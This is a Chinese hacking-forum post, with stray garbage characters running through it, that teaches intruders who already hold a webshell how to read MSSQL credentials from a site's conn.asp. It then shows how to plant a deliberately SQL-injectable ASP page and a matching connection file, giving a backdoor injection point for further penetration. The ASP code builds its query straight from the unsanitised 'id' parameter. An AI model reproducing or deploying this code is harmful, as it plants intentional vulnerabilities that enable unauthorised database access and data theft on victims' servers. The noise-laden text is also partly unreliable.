自己构造注入点方便入侵
" B& q+ T( L. K n8 a. Y, N* _- A+ S; Z
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
; E6 w7 x$ F7 N3 S
5 W: n; {* ~9 `这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!& f3 Z& k7 x' Z/ I$ |
2 |1 a, K8 i2 p U首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
0 e' r* H; B2 n- m& \( }3 \. Y# k) l/ |- d! p
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
7 Q$ h/ c2 T: S( H; h
- E: w$ c% U4 I6 e因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:# \* w' U. O3 w6 M& }# j2 `
8 H, ^7 o+ H2 f% W* n
程序代码/ w* ?5 L K. x( }: K) H
<!--#include file="xx.asp"-->2 D* Q" s% ?+ o1 N6 g
<%
! O0 s) Z* N/ w: y6 R: Y; Oset rs=server.createobject("ADODB.recordset") c: B3 R: t. h% H7 |
id = request("id")
9 _6 Q7 P% i1 \& }( Z! XstrSQL = "select * from admin where id=" & id
4 I6 U; |9 u1 ?: H5 Ers.open strSQL,conn,1,3 M- O8 R. ]; e7 l& ^
rs.close& h" F; s4 {- `2 A6 J/ Z& a1 `
%>
+ N h- ]/ d. C0 f* F
" ^' W* y7 C$ T: D, G把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
! {) E% X2 x1 @' V+ O- ]% W: D, C/ M N' N
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, u3 @2 I$ w; Q3 ?! w: [
7 C9 W T! K5 {( X' ^ A然后就要构造一个连接数据库的文件了,代码如下:' L/ R4 {* ^; l; w
程序代码
, p/ h. b. x, q: n<%
O: C$ {: E5 q+ c. H9 A) nstrSQLServerName = "000.000.000.000" '服务器名称或地址
) F7 [. m& n2 H5 f4 p1 \- y0 ~5 KstrSQLDBUserName = "sqlname" '数据库帐号
" y4 Y, C. l5 h( x2 v ostrSQLDBPassword = "sqlpass" '数据库密码
# Y6 R- h. T/ ?' v4 V1 Q. j6 GstrSQLDBName = "sqldataname" '数据库名称 g( P) p: \) m3 C; [/ f
Set conn = Server.CreateObject("ADODB.Connection")
M+ o/ @6 b* r/ u- {4 g0 GstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
( C* \& }' E# T4 q, j, ^conn.open strCon
( \- p& u8 I% E X5 b%>
: t1 t6 O3 u# |+ I3 h- {5 W2 h3 t* O0 ~6 g0 ^- R
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
7 d- I( ?) }5 q9 A2 `# l. G
6 H3 ]3 R9 L( {3 M" T就这样,正常情况下,就OK了,伪造成功……. l7 W8 J/ v# L0 k$ }
' K5 T3 y% \3 d& y 如果有什么问题可以提出来大家一起探讨解决。 |